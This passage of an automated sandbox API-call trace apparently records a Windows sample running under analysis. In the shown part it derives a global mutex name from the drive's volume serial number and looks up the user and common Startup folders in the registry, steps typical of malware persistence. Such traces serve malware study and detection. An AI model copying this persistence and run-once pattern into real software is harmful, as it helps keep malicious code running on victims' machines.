Flags=0x0, Size=0x20) returned 0x6d3b90 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6d9a18 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6d9c30 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a18 | out: hHeap=0x6c0000) returned 1 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9c30 | out: hHeap=0x6c0000) returned 1 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d3be0 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d3c08 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d3c30 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6d9a18 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a18 | out: hHeap=0x6c0000) returned 1 [0046.102] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d3c08, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3c30 | out: hHeap=0x6c0000) returned 1 [0046.102] GetProcessHeap () returned 0x6c0000 [0046.102] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3be0 | out: hHeap=0x6c0000) returned 1 [0046.103] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bf6b4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bf6b4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3c08 | out: hHeap=0x6c0000) returned 1 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x30) returned 0x6d9a18 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x2a) returned 0x6d9a50 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d9a50, Size=0x52) returned 0x6d9a50 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a18 | out: hHeap=0x6c0000) returned 1 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a50 | out: hHeap=0x6c0000) returned 1 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1c) returned 0x6d3c08 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1c) returned 0x6d3c30 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9a30 [0046.103] GetProcessHeap () returned 0x6c0000 [0046.103] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a58 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9a80 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da218 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da218 | out: hHeap=0x6c0000) returned 1 [0046.104] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9a58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a80 | out: hHeap=0x6c0000) returned 1 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.104] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bf69c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bf69c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a58 | out: hHeap=0x6c0000) returned 1 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d3f68 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d3fb0 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d3fb0, Size=0x72) returned 0x6cf9a0 [0046.104] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0046.104] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0046.104] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3f68 | out: hHeap=0x6c0000) returned 1 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cf9a0 | out: hHeap=0x6c0000) returned 1 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.104] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9a30 [0046.104] GetProcessHeap () returned 0x6c0000 [0046.105] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a58 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9a80 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da218 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da218 | out: hHeap=0x6c0000) returned 1 [0046.105] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9a58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a80 | out: hHeap=0x6c0000) returned 1 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.105] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bf684, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bf684*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a58 | out: hHeap=0x6c0000) returned 1 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d3f68 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d3fb0 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d3fb0, Size=0x72) returned 0x6cf9a0 [0046.105] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xa4 [0046.105] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x102 [0046.105] CloseHandle (hObject=0xa4) returned 1 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3f68 | out: hHeap=0x6c0000) returned 1 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.105] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cf9a0 | out: hHeap=0x6c0000) returned 1 [0046.105] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9a30 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a58 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9a80 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da218 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da218 | out: hHeap=0x6c0000) returned 1 [0046.106] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6d9a58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a80 | out: hHeap=0x6c0000) returned 1 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.106] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bf6bc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bf6bc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a58 | out: hHeap=0x6c0000) returned 1 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x60) returned 0x6da218 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9a30 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a58 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6d9a80 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da280 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da280 | out: hHeap=0x6c0000) returned 1 [0046.106] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6d9a58, nSize=0xf | out: lpDst="") returned 0x2c [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a80 | out: hHeap=0x6c0000) returned 1 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d9a58, Size=0x3a) returned 0x6d3f68 [0046.106] GetProcessHeap () returned 0x6c0000 [0046.106] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x3a) returned 0x6d3fb0 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da280 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da280 | out: hHeap=0x6c0000) returned 1 [0046.107] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6d3f68, nSize=0x1d | out: lpDst="") returned 0x2c [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3fb0 | out: hHeap=0x6c0000) returned 1 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d3f68, Size=0x72) returned 0x6cf9a0 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x72) returned 0x6cfa20 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da280 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da280 | out: hHeap=0x6c0000) returned 1 [0046.107] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6cf9a0, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfa20 | out: hHeap=0x6c0000) returned 1 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d3f68 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3e) returned 0x6d3fb0 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x3e) returned 0x6d3ff8 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da280 [0046.107] GetProcessHeap () returned 0x6c0000 [0046.107] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x10) returned 0x6d1710 [0046.107] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5d4 | out: phkResult=0x3bf5d4*=0xa8) returned 0x0 [0046.107] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x3bf5d0, lpData=0x6d3ff8, lpcbData=0x3bf5d8*=0x3e | out: lpType=0x3bf5d0*=0x2, lpData=0x6d3ff8*=0x2f, lpcbData=0x3bf5d8*=0x98) returned 0xea [0046.107] RegCloseKey (hKey=0xa8) returned 0x0 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d1710 | out: hHeap=0x6c0000) returned 1 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da280 | out: hHeap=0x6c0000) returned 1 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3ff8 | out: hHeap=0x6c0000) returned 1 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d3fb0, Size=0x7a) returned 0x6da280 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x7a) returned 0x6da308 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da390 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x10) returned 0x6d1710 [0046.108] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5d4 | out: phkResult=0x3bf5d4*=0xa8) returned 0x0 [0046.108] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x3bf5d0, lpData=0x6da308, lpcbData=0x3bf5d8*=0x7a | out: lpType=0x3bf5d0*=0x2, lpData=0x6da308*=0xc4, lpcbData=0x3bf5d8*=0x98) returned 0xea [0046.108] RegCloseKey (hKey=0xa8) returned 0x0 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d1710 | out: hHeap=0x6c0000) returned 1 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da390 | out: hHeap=0x6c0000) returned 1 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da308 | out: hHeap=0x6c0000) returned 1 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6da280, Size=0xf2) returned 0x6da280 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xf2) returned 0x6da380 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da480 [0046.108] GetProcessHeap () returned 0x6c0000 [0046.108] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x10) returned 0x6d1710 [0046.108] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5d4 | out: phkResult=0x3bf5d4*=0xa8) returned 0x0 [0046.108] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x3bf5d0, lpData=0x6da380, lpcbData=0x3bf5d8*=0xf2 | out: lpType=0x3bf5d0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x3bf5d8*=0x98) returned 0x0 [0046.109] RegCloseKey (hKey=0xa8) returned 0x0 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d1710 | out: hHeap=0x6c0000) returned 1 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a30 [0046.109] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5d4 | out: phkResult=0x3bf5d4*=0xa8) returned 0x0 [0046.109] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3bf5d0, lpData=0x6da418, lpcbData=0x3bf5d8*=0x5a | out: lpType=0x3bf5d0*=0x0, lpData=0x6da418*=0x73, lpcbData=0x3bf5d8*=0x5a) returned 0x2 [0046.109] RegCloseKey (hKey=0xa8) returned 0x0 [0046.109] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5e8 | out: phkResult=0x3bf5e8*=0xa8) returned 0x0 [0046.109] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3bf5e4, lpData=0x6da418, lpcbData=0x3bf5ec*=0x5a | out: lpType=0x3bf5e4*=0x2, lpData=0x6da418*=0x73, lpcbData=0x3bf5ec*=0x78) returned 0xea [0046.109] RegCloseKey (hKey=0xa8) returned 0x0 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da480 | out: hHeap=0x6c0000) returned 1 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da380 | out: hHeap=0x6c0000) returned 1 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6da280, Size=0x1e2) returned 0x6da280 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e2) returned 0x6da470 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da660 [0046.109] GetProcessHeap () returned 0x6c0000 [0046.109] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x10) returned 0x6d1710 [0046.109] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5d4 | out: phkResult=0x3bf5d4*=0xa8) returned 0x0 [0046.110] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x3bf5d0, lpData=0x6da470, lpcbData=0x3bf5d8*=0x1e2 | out: lpType=0x3bf5d0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x3bf5d8*=0x98) returned 0x0 [0046.110] RegCloseKey (hKey=0xa8) returned 0x0 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d1710 | out: hHeap=0x6c0000) returned 1 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6d9a30 [0046.110] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5d4 | out: phkResult=0x3bf5d4*=0xa8) returned 0x0 [0046.110] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3bf5d0, lpData=0x6da508, lpcbData=0x3bf5d8*=0x14a | out: lpType=0x3bf5d0*=0x0, lpData=0x6da508*=0x73, lpcbData=0x3bf5d8*=0x14a) returned 0x2 [0046.110] RegCloseKey (hKey=0xa8) returned 0x0 [0046.110] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x3bf5e8 | out: phkResult=0x3bf5e8*=0xa8) returned 0x0 [0046.110] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x3bf5e4, lpData=0x6da508, lpcbData=0x3bf5ec*=0x14a | out: lpType=0x3bf5e4*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x3bf5ec*=0x78) returned 0x0 [0046.110] RegCloseKey (hKey=0xa8) returned 0x0 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da660 | out: hHeap=0x6c0000) returned 1 [0046.110] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x6da280, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da470 | out: hHeap=0x6c0000) returned 1 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d3f68 | out: hHeap=0x6c0000) returned 1 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d9a30 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x12) returned 0x6d18c0 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12) returned 0x6da470 [0046.110] GetProcessHeap () returned 0x6c0000 [0046.110] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6da490 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da490 | out: hHeap=0x6c0000) returned 1 [0046.111] ExpandEnvironmentStringsW (in: lpSrc="spfs.txt", lpDst=0x6d18c0, nSize=0x9 | out: lpDst="spfs.txt") returned 0x9 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6da470 | out: hHeap=0x6c0000) returned 1 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d9a30 | out: hHeap=0x6c0000) returned 1 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6da470 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20a) returned 0x6da688 [0046.111] GetProcessHeap () returned 0x6c0000 [0046.111] RtlAllocateHeap (HeapHandle=0x6c0000, 